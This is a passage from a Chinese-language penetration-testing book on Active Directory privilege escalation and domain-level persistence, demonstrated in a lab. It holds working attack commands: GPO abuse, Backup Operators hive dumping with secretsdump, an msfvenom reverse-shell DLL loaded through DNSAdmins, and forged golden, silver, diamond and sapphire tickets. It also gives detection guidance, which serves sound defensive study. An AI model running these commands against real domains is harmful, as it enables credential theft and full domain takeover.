服务器和客户端 Windows 操作系统具有多种可以启用、禁用或配置的参数。可以在每个对象上本地应用所需的参数(本地策略),但在域中,通过组策略推送配置更改到一组机器和/或用户会更加方便。这些策略集合被称为 组策略对象(GPO)。每个 GPO 都有其唯一的 GUID。策略文件存储在域的 SYSVOL 文件夹中。默认情况下,只有具有域管理员权限的用户才能创建和链接 GPO,但这些权限是可以委派的。GPO 需要链接到 组织单位、域或站点。链接过程需要理解另外两个概念:继承和强制。如果 GPLink 被强制执行,GPO 将应用于链接的 OU 及所有子对象,即使继承被阻止。如果 GPLink 没有强制执行,GPO 将应用于链接的 OU 及所有子对象,直到在任何后续 OU 中启用 阻止继承。还有一些方法可以更加逐步地应用 GPO,比如 WMI 筛选、安全筛选和链接顺序。但这些筛选选项在实际操作中很少使用。我们有两条主要的攻击途径,取决于我们获得的权限:创建并链接新的 GPO 或修改现有的 GPO。然而,当我们成功控制了 GPO 本身时,我们的行动自由度要大得多。以下是一些滥用场景示例,这仅仅是冰山一角,只要有一定的创意,几乎没有限制:
-
将用户添加到机器上的特权本地组
-
添加用户权限,如 SeDebugPrivilege、RDP 连接等
-
配置用户和/或计算机的登录/注销脚本
-
调整注册表键及其 DACL,包括自启动项,以实现持久化
-
配置用户或计算机的即时计划任务
-
恶意
.msi
文件安装 -
在机器上创建和编辑服务
-
部署一个新的恶意快捷方式
-
管理防火墙和 Windows Defender 设置(例如,排除路径)
在写作时,我们的实验室尚未引入易受攻击的 GPO,因此我在 sevenkingdoms
域中自己创建了一个,并为 jaime.lannister
用户授予了额外的权限。让我们开始实践。我们将从域中的 GPO 枚举及其应用的 ACL 开始。我们要寻找的 ACL 是我们常见的嫌疑人:GenericAll
、GenericWrite
、WriteProperty
、WriteDacl
、WriteOwner
以及 AllExtendedWrite 和 WriteMember。我们可以使用 PowerView 一行命令来执行此操作:
Get-DomainGPO | Get-DomainObjectAcl -ResolveGUIDs | Where-Object {($_.ActiveDirectoryRights.ToString() -match "GenericAll|GenericWrite|WriteProperty|WriteDacl|AllExtendedWrite|WriteMember|WriteOwner")}
在输出中,我们寻找具有 SID 且不在常见特权组和账户中的用户:
图 6.21 – 拥有 GenericAll 权限的 GPO 用户
接下来,我们查找具有 GPO 权限的用户账户、GPO 名称以及该 GPO 应用的 OU 名称和成员。可以通过 PowerView 来实现:
ConvertFrom-SID S-1-5-21-4243769114-3325725031-2403382846-1110
Get-DomainGPO -Identity "CN={776DB09D-32B9-4923-AADE-3056482455CB},CN=Policies,CN=System,DC=sevenkingdoms,DC=local"
Get-DomainOU -GPLink "{776DB09D-32B9-4923-AADE-3056482455CB}" | select distinguishedName
Get-DomainComputer -SearchBase "OU=Vale,DC=sevenkingdoms,DC=local" | select distinguishedName
以下截图显示了这些信息:
图 6.22 – GPO 信息
我们可以通过 SharpGPOAbuse
[12](由 F-Secure 编写)帮助将 jaime.lannister
添加到本地管理员组,从而提升权限:
SharpGPOAbuse.exe --AddLocalAdmin --UserAccount jaime.lannister --GPOName "hack_me"
利用漏洞的结果如下所示:
图 6.23 – jaime.lannister 用户被添加到本地管理员组
另一个权限提升场景是查找可以在域中创建和链接策略的用户。仅创建策略是不够的,还需要将其链接到组织单位(OU)才能发挥实际作用。组策略容器存储在域中的 CN=Policies
、CN=System
容器下。默认情况下,只有“域管理员”和“企业管理员”组才有权限将 GPO 链接到 OU、站点和域。这个权限的名称是 Write gPlink
。为了在我们的实验室中引入上述场景,我将为 Group Policy Container 授予 lord.varys CreateChild
用户权限,并为 Vale OU 授予 Write gPlink
权限。这可以通过在 ADSI Edit
中调整对象属性的 安全性 标签页中的权限来完成,如下所示:
图 6.24 – lord.varys 用户拥有新权限
现在我们可以使用 PowerView 确认lord.varys
用户确实拥有这样的权限。第一条命令将显示谁可以在域中创建组策略。第二条命令将识别每个在域内各 OU 的GP-Link
属性上具有WriteProperty
权限的用户:
Get-DomainObjectAcl -ResolveGUIDs -Identity "CN=Policies,CN=System,DC=sevenkingdoms,DC=local"| Where-Object {($_.ActiveDirectoryRights.ToString() -match "CreateChild")} | select securityidentifier
Get-DomainOU | Get-DomainObjectAcl -ResolveGUIDs | Where-Object {($_.ActiveDirectoryRights.ToString() -match "WriteProperty" -and $_.ObjectAceType -eq "GP-Link")} | select SecurityIdentifier, ObjectDN, ObjectACEType | fl
前述命令执行的结果如下面的截图所示:
图 6.25 – lord.varys 用户有权创建 GPO 并将其链接到 OU
现在我们可以通过PowerShell 模块或组策略 MMC来创建 GPO 并将其链接到 OU。PowerShell 模块的功能有限,但可以用于恶意目的,例如Set-GPPrefRegistryValue
和Set-GPRegistryValue
,这些命令允许你使用以下语法创建Autorun
注册表项:
Set-GPRegistryValue -Name Legit_Updater -Key "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" -ValueName Legit -Type String -Value "cmd.exe /c payload.exe"
下一节将讨论通过加入特权安全组进行的权限提升。
其他权限提升途径
本节将重点介绍突出的权限提升途径。我们将演示将非特权域用户添加到各种内建域安全组中的后果。接着,我们将描述通过黄金票证和跨域票证从子域到父域的权限提升。最后,将解释 PAM 概念。
通常,特权用户、计算机和组需要定期审查。从 Active Directory 的角度来看,用户账户和计算机账户之间没有本质的区别。如果攻击者破解了属于特权组的计算机账户,这无疑会导致权限提升。
注意
原始研究由XPN提出:secarma.com/using-machine-account-passwords-during-an-engagement/
。该方法的核心思想是提取机器账户的哈希值,并将其用于“传递哈希”攻击,具体操作可参见:pentestlab.blog/2022/02/01/machine-accounts/
。
避免权限提升的主要预防措施是最小权限原则。如果你认为某个机器账户被破解,可以禁用该账户。同时,PowerShell 的Reset-ComputerMachinePassword
命令可以重置机器账户的密码。
内建安全组
域中有几个内置的安全组,它们为特定任务预配置了权限。我们不打算讨论通常的高权限组,如域、架构或企业管理员。这些组在森林和域中的作用非常明确。我们将讨论一些很少提及的操作员安全组,如帐户操作员、打印操作员和服务器操作员。在实践部分,我们将演示权限提升的途径,在该途径中,属于备份操作员组的用户可以从域控制器中提取ntds.dit
文件。此外,我们将利用DNSAdmins
用户的成员身份(CVE-2021-40469)实现以SYSTEM
身份的远程代码执行。
注意
关于组的良好文档由微软提供:learn.microsoft.com/en-us/windows-server/identity/ad-ds/manage/understand-security-groups
。
我们将从帐户操作员组(S-1-5-32-548)开始回顾。根据微软的说法,这个组被视为服务管理员组,他们的建议是将其保持为空。如果攻击者攻陷了一个属于该组的用户,他们将能够本地登录到域控制器并创建或修改帐户(尽管不能修改管理员帐户)。
服务器操作员组(S-1-5-32-549)的成员可以管理和维护域控制器。该组仅存在于域控制器上,默认情况下为空。该组的成员不能更改任何管理组的成员资格,但可以编辑和启动/停止服务,并备份和恢复文件。成为此组的成员为持久性提供了极大的机会,因为可以更改安装在域控制器上的二进制文件。
打印操作员组(S-1-5-32-550)的成员被允许加载驱动程序并管理连接到域控制器的打印机,以及本地登录。攻击者可以启用SeLoadDriverPrivilege
并加载易受攻击的驱动程序,如Capcom.sys
[13]。然而,自 Windows 10 版本 1803 以来,已不再可利用,因为HKEY_Current_User
中的注册表引用不再被允许。
现在我们将进入实际操作。Backup Operators组(S-1-5-32-551)的权限显然源自组名:备份和恢复文件,尽管这些文件可能已经设置了权限。默认情况下,该组为空。为了引入此漏洞,我将把 lord.varys 用户添加到该组中。漏洞利用本身非常简单,涉及三个步骤:连接到远程注册表、打开注册表 Hive 并将它们保存到本地或远程位置。注册表 Hive 包括SAM
、SYSTEM
和SECURITY
。然后,攻击者可以利用secretsdump
工具(来自impacket)并使用域控制器的机器账户哈希值来转储 ntds.dit 文件。利用代码可以在这里找到[14]。首先,让我们运行利用代码,并将注册表 Hive 保存到我们可以访问的文件夹(也可以是 UNC 路径)中:
BackupOperatorToDA.exe -t \\kingslanding.sevenkingdoms.local -o C:\Users\Public\ -u lord.varys -p "_W1sper_$" -d sevenkingdoms.local
命令执行的结果如下截图所示:
图 6.26 – 成功转储注册表 Hive
下一步是提取域控制器的机器账户哈希,并转储 ntds.dit 文件:
secretsdump.py LOCAL -system SYSTEM -sam SAM -security SECURITY
secretsdump.py 'sevenkingdoms.local/kingslanding$@kingslanding.sevenkingdoms.local' -hashes aad3b435b51404eeaad3b435b51404ee:7c2c64aebfd101d8927632960df23179 -just-dc
结果,哈希值成功转储:
图 6.27 – 从域控制器转储了 ntds.dit 文件
下一个示例将演示如何仅通过成为DNSAdmins安全组的成员,实现在域控制器上以SYSTEM
身份执行远程代码。
DNSAdmins 滥用(CVE-2021-40469)
如果攻击者是DNSAdmins组的成员,则可以触发 DNS 服务器加载我们选择的 DLL 并在SYSTEM
上下文下执行它。DLL 的路径在ServerLevelPluginDll
值中提供,也可以是 UNC 路径。
注意
本发现的作者博客文章可以在这里找到:medium.com/@esnesenon/feature-not-bug-dnsadmin-to-dc-compromise-in-one-line-a0f779b8dc83
。
为了演示这个技巧,我将把 jon.snow 用户添加到north.sevenkingdoms.local
域的 DNSAdmins 组中。我们的利用路径是生成带有反向 Shell 的 DLL,并将其放置在castelblack
服务器的Public
共享文件夹中。然后,添加插件,等待 DNS 服务器重启,并在我们的 Kali 机器上获取反向 Shell:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.56.100 LPORT=443 -f dll > legit.dll
dnscmd.exe winterfell /Config /ServerLevelPluginDll \\castelblack\public\legit.dll
在 DNS 服务器重启后,我们获得了以SYSTEM
身份在域控制器上执行的反向 Shell:
图 6.28 – 成功利用 CVE-2021-40469,在域控制器上获得反向 Shell 并以 SYSTEM 身份执行
接下来,我们将讨论从子域到父域的权限提升问题。同时,我们还将简要讨论 PAM 信任和堡垒域的概念。
子域/父域特权提升
在之前的一次攻击中,我们能够导出 north.sevenkingdoms.local
域的 ntds.dit
。现在,我们可以在伪造的票证中添加额外的 SID,以便提升特权到父域。为了成功伪造票证,我们需要两个域的 SID —— 金票证的 krbtgt 哈希值和跨域票证的信任密钥。以下命令将找到域 SID,并借助 Mimikatz 伪造金票证:
Get-DomainSID -Domain north.sevenkingdoms.local
Get-DomainSID -Domain sevenkingdoms.local
kerberos::golden /user:Administrator /domain:north.sevenkingdoms.local /sid:S-1-5-21-3600105556-770076851-109492085 /sids:S-1-5-21-4243769114-3325725031-2403382846-519 /krbtgt:35400f589a2614495ab9cfcdd0b89eba /ptt
/sid
是子域的 SID。/sids
是父域中 Enterprise Admins
的 SID。结果是可以通过 CIFS 访问父域中的域控制器:
图 6.29 – 伪造的金票证提供对父域中域控制器的访问
第二种选择是创建一个使用信任密钥加密的 TGT(目标票证)推荐票证。信任密钥的名称格式为 domain$
。伪造跨域票证的命令如下:
kerberos::golden /user:Administrator /domain:north.sevenkingdoms.local /sid:S-1-5-21-3600105556-770076851-109492085 /sids:S-1-5-21-4243769114-3325725031-2403382846-519 /rc4:b595f2a41d4579ae6faa122b74b37ccb /service:krbtgt /target:sevenkingdoms.local /ptt
以下结果与伪造金票证获得的结果相同:
图 6.30 – 伪造的跨域票证提供对父域中域控制器的访问
有一种方法可以防止这种特权提升漏洞——在子域和父域之间启用 SID 过滤。如果我们不需要 SID 历史记录,可以出于兼容性考虑禁用它。
注意
由 Improsec 的研究人员撰写的一篇优秀博客文章中,展示了失败攻击的例子 (improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-3-sid-filtering-explained
)。
然而,其他同一公司进行的研究表明,并非所有的 SID 都会被过滤,因此在子域中的特权应当仔细审查 (improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-4-bypass-sid-filtering-research
)。另一个 SID 过滤绕过方法是,子域控制器上的 SYSTEM
可以将 GPO 链接到父站点,即使启用了 SID 过滤,它也会被复制。
特权访问管理
特权访问管理(PAM)不是一个新概念,它是由微软引入的,作为增强型安全管理环境(ESAE)模型的一部分,ESAE 还包括恰到好处的管理(JEA)和微软身份管理器(MIM)。其理念是为管理员创建一个强化的堡垒森林(红森林),并通过使用单向特权身份管理(PIM)信任将其连接到生产森林。提醒一下,信任的方向与访问的方向是相反的。对生产森林的管理访问是由堡垒森林中的影子主体管理的。来自堡垒森林的用户被添加到影子主体组中,因此这些组会映射到生产森林中的特权组。可以设置生存时间(TTL)值来减少特权访问时间。这使得无需交互式登录、组成员身份和 ACL 更改即可管理生产森林。
注意
关于如何部署堡垒森林并建立 PIM 信任的一个极好的指南可以在这里找到:petri.com/windows-server-2016-set-privileged-access-management/
。
来自 ADModule 的以下命令将检查当前森林是否具有 PAM 信任或是否由堡垒森林管理,并列举影子安全主体:
Get-ADTrust -Filter {(ForestTransitive -eq $True) -and (SIDFilteringQuarantined -eq $False)}
Get-ADTrust -Filter {(ForestTransitive -eq $True)}
Get-ADObject -SearchBase ("CN=Shadow Principal Configuration,CN=Services," + (Get-ADRootDSE).configurationNamingContext) -Filter * -Properties * | select Name,member,msDS-ShadowPrincipalSid | l
- 作为攻击者,我们的目标是妥协影子安全主体成员或滥用 SID 历史。
注意
关于持久性的大量技巧由Nikhil Mittal在这篇博客文章中分享:www.labofapenetrationtester.com/2019/04/abusing-PAM.xhtml
。
明显的方法是将用户添加到现有的影子安全主体容器中。然而,这在特权组审核过程中很容易被发现。更隐蔽的方法是授予低特权用户写成员权限,允许其访问影子主体对象。对生产森林的访问尝试通过登录/注销事件进行记录,但根据用户帐户的不同,可能会触发警报。
概要
在本章中,我们介绍了攻击者如何在域内提升权限。我们从那些能够瞬间授予最高权限的致命漏洞开始讨论。定期修补和漏洞管理可以帮助减轻这种攻击途径。接下来,我们讨论了针对域对象的各种 ACL 滥用。我们回顾了最常见的特权升级路径,并附上了实际示例。特别关注了 GPO 滥用,因为组策略可以在整个域中部署,从而为攻击者提供横向移动、特权提升和持久化机会。我们还讨论了在某个组成员被攻破时,内建域组可以用于特权提升的情形。最后,我们讨论了通过子域与父域之间的信任关系进行特权提升的情况。此外,我们简要提到了 PAM 信任主题以及可能的配置错误,这些错误可能破坏整个 ESAE 模型。
在下一章中,我们将讨论攻击者如何在域中实现持久性。了解攻击者如何维持对域的访问至关重要。
参考资料
-
MS14-068 漏洞利用:
github.com/mubix/pykek
-
Zerologon 中继场景:
dirkjanm.io/a-different-way-of-abusing-zerologon/
-
Zerologon 更改密码场景:
www.thehacker.recipes/ad/movement/netlogon/zerologon
-
Zerologon 漏洞利用:
github.com/VoidSec/CVE-2020-1472
和github.com/dirkjanm/CVE-2020-1472
-
Printnightmare 利用约束:
www.thehacker.recipes/ad/movement/print-spooler-service/printnightmare#constraints
-
Printnightmare 漏洞利用:
github.com/cube0x0/CVE-2021-1675
-
Windows 版本 noPac 漏洞利用:
github.com/cube0x0/noPac
-
Linux 版本 noPac 漏洞利用:
github.com/WazeHell/sam-the-admin
-
Local potato:
decoder.cloud/2023/02/13/localpotato-when-swapping-the-context-leads-you-to-system/
-
Remote Potato0:
github.com/antonioCoco/RemotePotato0
-
ACL 思维导图:
www.thehacker.recipes/ad/movement/dacl
-
SharpGPOAbuse 工具:
github.com/FsecureLABS/SharpGPOAbuse
-
从备份操作员到域管理员的漏洞利用:
github.com/mpgn/BackupOperatorToDA
进一步阅读
这些进一步学习的资源将帮助你深入了解本章中讨论的攻击:
-
我强烈建议你阅读这篇博客文章,因为它深入探讨了 Remote Potato 攻击路径是如何被发现的,以及一般的研究思维方式:
www.sentinelone.com/labs/relaying-potatoes-another-unexpected-privilege-escalation-vulnerability-in-windows-rpc-protocol/
。 -
Remote Potato 漏洞利用的一个良好演示:
pentestlab.blog/2021/05/04/remote-potato-from-domain-user-to-enterprise-admin/
-
有关组策略结构的 Microsoft 文档:
learn.microsoft.com/en-us/openspecs/windows_protocols/ms-gpod/260b58dc-da14-400b-8b82-6abbfd529fbf
-
Microsoft PowerShell GP-Link 命令参考:
learn.microsoft.com/en-us/powershell/module/grouppolicy/new-gplink?view=windowsserver2022-ps
第七章:域级持久性
在进攻性操作中,对手需要保持对目标环境的访问。诸如重启和更改用户密码等活动可能会干扰操作流程。为了克服这些中断,有一些技术可以帮助我们实现持久性。在本章中,我们不会讨论 Windows 工作站和服务器上的主机持久性技术。相反,我们将专注于域级持久性以及特定于域控制器的技术。我们的第一个主题是最著名的票据(黄金票、银票、钻石票和蓝宝石票)。我们将讨论它们之间的区别,并展示它们在 OpSec 方面的实际应用。其他域级持久性主题,例如添加到SID 历史属性和AdminSDHolder
域对象的 ACL 和 DACL 操作、委托权限滥用,将通过实际例子进行讲解和演示。最后,我们将通过讨论DCShadow
和 Golden gMSA 攻击来结束域级持久性话题。域控制器持久性主要通过操控凭证来实现,方法包括Skeleton Key
攻击、恶意的安全支持提供者(SSP)注册或访问目录服务恢复模式(DSRM)哈希。最后,我们将阐述如何操作 WMI、PS-Remoting 的安全描述符,以及如何设置注册表后门来获取计算机的 NT 哈希、SAM 或缓存的 AD 凭证。
在本章中,我们将讨论以下主要内容:
-
域持久性,我们将讨论伪造票据、域对象的 ACL/属性操作、DCShadow 攻击和 Golden gMSA 攻击
-
域控制器持久性,我们将讨论恶意的 SSP 注册、Skeleton Key 攻击、DSRM 哈希转储、注册表后门和安全描述符操作(WMI 和 PS-Remoting)
技术要求
在本章中,你将需要以下内容:
-
VMware Workstation 或 Oracle VM VirtualBox,至少需要 16GB 的 RAM、8 个 CPU 核心和至少 55GB 的总空间(如果你要拍摄快照,需要更多空间)
-
强烈建议使用基于 Linux 的操作系统
-
安装了相应虚拟化平台插件和 Ansible 的 Vagrant
-
在 GOADv2 项目中,我们将使用
DC01
、SRV01
、DC03
和SRV03
虚拟机
域持久性
在本节中,我们将讨论实现域级持久性的各种方法。这些技术需要相当高的权限,等同于域管理员。实现目标环境中的持久性最直接的方法是创建和/或将被妥协的用户或计算机帐户添加到高权限组中。然而,我们将专注于更复杂的技术。此外,我们不会从持久性角度讨论组策略滥用和定向 Kerberoasting,因为其利用方式与第六章中的示例完全相同,只不过重点放在特权帐户上。在以下技术中,我们将依赖于特权但很少更改的凭证材料(例如,krbtgt 帐户的哈希值)或属性和 ACL 操作。
伪造票证
我们将从伪造票证开始我们的旅程——它们的类型、创建方法、使用方式以及如何保持低调的 OpSec 建议。一个重要的理论概念是特权属性证书(PAC)。PAC 在 Kerberos 协议中用于将用户权限分配给服务,例如用户名、SID 和组成员资格。PAC 是每个票证的一部分,并使用密钥分发中心(KDC)的密钥或服务帐户密钥进行加密。当我们说票证是伪造的,我们指的是我们在其中放入任意的 PAC 内容。我们将首先探讨的伪造票证类型是银票。
注意
关于金票和银票的深入详细介绍可以在这里找到:en.hackndo.com/kerberos-silver-golden-tickets/
。
银票
当用户需要访问某项服务时,会发出 ST 请求(KRB_TGS_REQ)并得到回复(KRB_TGS_REP)。回复会使用运行该服务的帐户的 NT 哈希加密。如果攻击者获得了服务帐户的密码或 NT 哈希,就可以伪造一个 PAC,从而伪造服务票证,而无需与域控制器交互。这样的伪造票证称为银票。关于伪造 PAC 的一个小注意事项是,最终它将由服务帐户和 krbtgt 的 NT 哈希双重签名。然而,方便的是,对于服务票证,只会验证第一个签名。需要注意的是,自 2021 年 11 月的微软补丁之后,如果提供的用户名在域中不存在,票证将被拒绝[1]。银票也可以伪造域控制器的帐户。
作为示例,让我们在一台非域加入的机器上,以标准用户lord.varys
身份,为castelrock.sevenkingdoms.local
服务器伪造一个银票。我们将使用 Rubeus 为用户robert.baratheon
(它可以是任何现有的域用户)创建一个票证,针对castelrock
上的 CIFS 服务,使用castelrock$
帐户的 AES256 密钥:
runas /netonly /user:sevenkingdoms\lord.varys cmd
Rubeus.exe silver /user:robert.baratheon /domain:sevenking doms.local /aes256:9a0d511ea6556233b28c0c0ec576e120cfdb08c372ef 5a7c4def5c829666d75f /sid:S-1-5-21-4243769114-3325725031-2403382846 /service:cifs/castelrock.sevenkingdoms.local /ptt
ls \\castelrock.sevenkingdoms.local\c$
Rubeus 已经成功注入了票证:
图 7.1 – 在注入票证之前无法访问 CIFS 服务
注入票证后,castelrock
上的 CIFS 服务可以访问:
图 7.2 – Silver Ticket 为 lord.varys 提供访问权限
检测 Silver Ticket 是一项具有挑战性的任务。它比 Golden Ticket 更隐蔽,因为域控制器不参与其中,而且服务账户的 NT 哈希更容易获取。蓝队需要从服务器中提取日志并检查事件 ID 4769
,以查看是否存在可能的加密降级(如果使用 RC4 而不是 AES256)。Windows 登录/注销事件 ID 4624
和 4647
也可以提供有关用户名、源 IP 地址和用户 SID 的信息。如果我们在审计登录策略中启用了 成功 审计日志,事件 ID 4627
将显示已登录用户的组成员信息。以下是事件 ID 4624
的登录事件示例:
图 7.3 – 缺失的用户名和域名,以及攻击机器的 IP 地址
最后,我们可能需要在 Rubeus 中使用 /nofullpacsig
标志来排除 FullPacChecksum
,该补丁是为 CVE-2022-37967
引入的。这个补丁引入了对丢失或无效 PAC 签名的检查。如果补丁已应用,注册表键 KrbtgtFullPacSignature
将在域控制器上创建。撰写本文时,Microsoft 预计将于 2023 年 10 月强制执行签名。这个票证有一个更加隐蔽的替代方案,它具有有效的 PAC 并基于 S4U2self
滥用。接下来我们来看一下。
Silver Ticket 的隐蔽替代方案(S4U2self 滥用)
S4U2self
Kerberos 扩展允许服务代表用户获取自己的服务票证。需要特别提到的是,S4U2self
可以由机器上的任何帐户使用,包括虚拟帐户或网络服务帐户,但在网络上,它充当的是机器本身。S4U2self
可以帮助在攻击者已经妥协机器上的虚拟或网络服务帐户(如 AppPool 或 MSSQL)后进行本地权限提升,之后请求任何用户的服务票证给自己。值得注意的是,用户甚至可以来自 Protected Users
组,或者启用了 账户为敏感且无法委派 的 UserAccountControl
属性。
注意
本地权限提升的示例和 Charlie Clark 的原创研究可以在此查看:exploit.ph/revisiting-delegate-2-thyself.xhtml
。
现在,我们将展示与银票证不同的替代场景。我将使用一台非域加入机器,并使用castelrock
机器账户的 NT 哈希。
该攻击分为两个步骤——首先获取机器账户的 TGT,然后使用该 TGT 进行S4U2self
请求以获取服务票证。在第一步中,攻击者可以通过已知计算机账户哈希的方式正常请求机器账户的 TGT。以下命令将请求 TGT:
Rubeus.exe asktgt /domain:sevenkingdoms.local /dc:kingslanding.sevenkingdoms.local /user:castelrock$ /rc4:b49f30381ea7ae249a1d8179802f6982 /nowrap
TGT 请求的结果如下面的截图所示:
图 7.4 – 获取机器账户的 TGT
接着,攻击者可以请求服务票证。请注意/self
标志,以便模拟受保护用户:
Rubeus.exe s4u /self /impersonateuser:robert.baratheon /dc:kingslanding.sevenkingdoms.local /altservice:"http/castelrock.sevenkingdoms.local" /ticket:"tgt_from_step_1" /nowrap /ptt
Invoke-Command -ComputerName castelrock.sevenkingdoms.local -Command {whoami;hostname}
结果如下面的截图所示:
图 7.5 – 成功的 S42Uself 滥用
相较于银票证,S4U2self
滥用的主要优势在于服务票证具有有效的 PAC,而不是伪造的。现在,让我们讨论一种更为强大的伪造票证类型——黄金票证。
黄金票证
黄金票证本质上是伪造的 TGT 票证。凭借这样的 TGT 票证,我们可以作为域中的任何用户请求任何服务票证。理解银票证和黄金票证之间差异的一个很好的比喻是:银票证就像签证,你可以进入一个国家(一个服务器)并在其中旅行(请求访问该服务器上的所有服务);而黄金票证就像护照,你可以申请每个国家的签证(访问该域中任何资源)。
要伪造 TGT,我们需要知道krbtgt
账户的 NT 哈希,该信息只能通过域管理员或域中的复制权限获取。微软尝试通过针对CVE-2021-42287
的补丁(KB5008380)来阻止黄金票证伪造。该补丁的思路是引入一个新的数据结构,在 PAC 中包含用户的 SID。然而,如果提供了正确的 SID,攻击仍然会成功[2]。Rubeus 中有两个开关,/oldpac
和/newpac
,可以根据补丁安装和强制执行状态来伪造票证。
我们将创建一个黄金票证,用于从castelrock.sevenkingdoms.local
机器访问kingslanding.sevenkingdoms.local
文件系统,使用低权限用户jaime.lannister
进行身份验证:
Rubeus.exe golden /user:robert.baratheon /domain:sevenkingdoms.local /aes256:2279187d6dfbacdc093cadef2964eb0afa1ef16af87cc638d34d3a4ea 49f1aa0 /sid:S-1-5-21-4243769114-3325725031-2403382846 /ptt
ls \\kingslanding.sevenkingdoms.local\c$
在注入黄金票证之前,我们看到如下屏幕:
图 7.6 – 黄金票证伪造过程
注入黄金票证后,我们看到如下屏幕:
图 7.7 – 使用黄金票证访问域控制器
检测黄金票证是困难的。我们需要检查日志,特别关注票证加密类型(可能的降级)及其生命周期。票证加密类型可以在事件 ID 4769
中找到。TGT 中非默认的生命周期值是一个很好的指示——例如,默认情况下,域票证的生命周期是 10 小时,但 Mimikatz 创建了一个生命周期为 10 年的票证。如果事件 ID 4769
(Kerberos 服务票证)缺少对应的事件 ID 4768
(请求 Kerberos 身份验证票证(TGT)),那就是使用黄金票证的明确迹象。我们有更隐蔽、更好的方式吗?有的!接下来会介绍 钻石票证。
钻石票证
钻石票证的概念源自钻石 PAC 攻击,旨在比黄金票证或银票证更隐蔽。攻击的过程从低权限用户请求 TGT 开始,以获取一个合法的票证,然后解密并修改 PAC,重新计算签名,再次加密票证。记住,只能使用已经存在的域用户,否则在最新环境下票证将被拒绝。
注意
关于钻石票证的原始研究可以在这里找到:www.semperis.com/blog/a-diamond-ticket-in-the-ruff/
。
让我们复现这个攻击。第一步,我们将为标准用户(jaime.lannister)请求一个 TGT。选择 /tgtdeleg
标志后,我们可以使用 Kerberos GSS-API 获取当前用户的 TGT,而无需知道密码。/krbkey
是 krbtgt 账户的 AES 密钥,/ticketuserid
是 /ticketuser
的 相对标识符(RID),/groups
指定了票证的组。为了执行这些操作,我们将使用 Rubeus 和以下参数:
Rubeus.exe diamond /tgtdeleg /krbkey:2279187d6dfbacdc093cadef2964eb0afa1ef16af87cc638d34 d3a4ea49f1aa0 /ticketuser:robert.baratheon /ticketuserid:1113 /groups:512 /nowrap
下面的截图显示了用户请求 TGT 时未使用 /tgtdeleg
标志的例子:
图 7.8 – 低权限用户请求的 TGT
PAC 修改会实时发生,如下图所示:
图 7.9 – 修改后的 TGT
使用伪造的 TGT,我们可以通过以下命令请求域控制器上的 CIFS 服务票证:
Rubeus.exe asktgs /user:robert.baratheon /ticket:<diamon_ticket_here> /service:cifs/kingslanding.sevenkingdoms.local /ptt /nowrap
下面展示了 ST 请求:
图 7.10 – 请求 ST
我们可以访问在域控制器上运行的 CIFS 服务:
图 7.11 – CIFS 服务访问
检测 Diamond Ticket 是更为复杂的任务,需要检查票证内容并确保票证中的值与域中的默认值匹配。事件 ID 4627
可显示低权限用户添加的任何额外组成员。AD 中 PAC 的值与实际用户权限之间的差异也可用于发现恶意活动。最后,我们将讨论 Sapphire Tickets,这是 Diamond Ticket 的更隐秘版本。
Sapphire Ticket
Sapphire Ticket(蓝宝石票证)是 Diamond Ticket(钻石票证)的增强版本,允许攻击者更大程度地模仿合法活动。其核心思想是,不像使用 Diamond Ticket 时修改合法 TGT 中的 PAC,我们将通过 S4U2self+u2u
技巧复制另一高权限用户的合法 PAC,并替换到原始 TGT 中。在这种情况下,我们将避免 PAC 和有效用户权限之间的差异。以下命令使用 -impersonate
标志将创建一个 Sapphire Ticket:
impacket-ticketer -request -impersonate 'robert.baratheon' -domain 'sevenkingdoms.local' -user 'jaime.lannister' -password 'cersei' -aesKey '2279187d6dfbacdc093cadef2964eb0afa1ef16af87cc638d34d3a4ea49f1aa0' -domain-sid 'S-1-5-21-4243769114-3325725031-2403382846' 'vinegrep'
在撰写本文时,Rubeus 或 Impacket 中尚不支持 Sapphire Ticket 功能。Pull request 1411
已发送给 Impacket,但尚未合并到主分支中。
通过域控制器的日志分析仍然可以检测到 Sapphire Ticket。通过 4768
和 4769
事件序列可以检测到新伪造票证的即时使用。在日志中,来自相同 Client Address
的 TGT 和 ST 请求将出现两个不同的 Account Name
值,然而 ST 中的用户名从未登录到该计算机。
注意
可以在 pgj11.com/posts/Diamond-And-Sapphire-Tickets/
和 unit42.paloaltonetworks.com/next-gen-kerberos-attacks/
查找 Diamond 和 Sapphire Tickets 的检测方法。
Charlie Clark 和 Andrew Schwartz 提出了关于检测伪造票证的有希望的研究。其思路是解密票证并对票证的时间和校验和进行详细分析。蓝队可以创建自定义的 Kerberos 票证策略,为用户强制执行 logonHours
属性,并验证 krbtgt 密钥正确签名的校验和。他们还发布了一个名为 WonkaVision
的工具,自动化了大部分这些检查。你可以从 GitHub[4] 上下载该工具。
接下来的部分将重点介绍通过对不同域对象的 ACL 或属性进行操作来实现持久性。
域对象的 ACL 和属性操作
本节将介绍如何通过对各种域对象的 ACL 和属性进行操作来实现持久性。典型的 ACL 操作目标包括 AdminSDHolder
和域对象。属性更改攻击将瞄准 SIDHistory
、userAccountControl、SPN 和委派属性。
AdminSDHolder
Microsoft 在 AD 中引入了 AdminSDHolder 域对象,以防止高权限账户和组的 ACL 被修改。
注意
可以在此处找到默认的受保护对象列表:learn.microsoft.com/en-us/windows-server/identity/ad-ds/plan/security-best-practices/appendix-c--protected-accounts-and-groups-in-active-directory
。
若要手动查找属于 AdminSDHolder 的账户和组,我们可以搜索 adminCount
属性,并检查其属性中是否设置为 1
。其思路是,AdminSDHolder 对象提供一个预设的安全权限模板,Security Descriptor Propagator 进程每 60 分钟应用一次,保护账户和组。
Sean Metcalf 发现了这一技术。通过域管理员权限,攻击者可以将任意用户账户添加到 AdminSDHolder 的 ACL 中。传播后,该用户账户将对域中所有特权组和账户拥有 GenericAll
权限。PowerView 使得该漏洞的利用变得非常简单:
Add-DomainObjectAcl -PrincipalIdentity jaime.lannister -TargetIdentity 'CN=AdminSDHolder,CN=System,DC=sevenkingdoms,DC=local' -Rights All -Verbose
在 60 分钟后,我们可以看到我们的用户账户被添加到 AdminSDHolder DACL 中:
Get-DomainObjectAcl -Identity 'CN=AdminSDHolder,CN=System,DC=sevenkingdoms,DC=local' | Where-Object {($_.ActiveDirectoryRights.ToString() -match "GenericAll")} | select securityidentifier
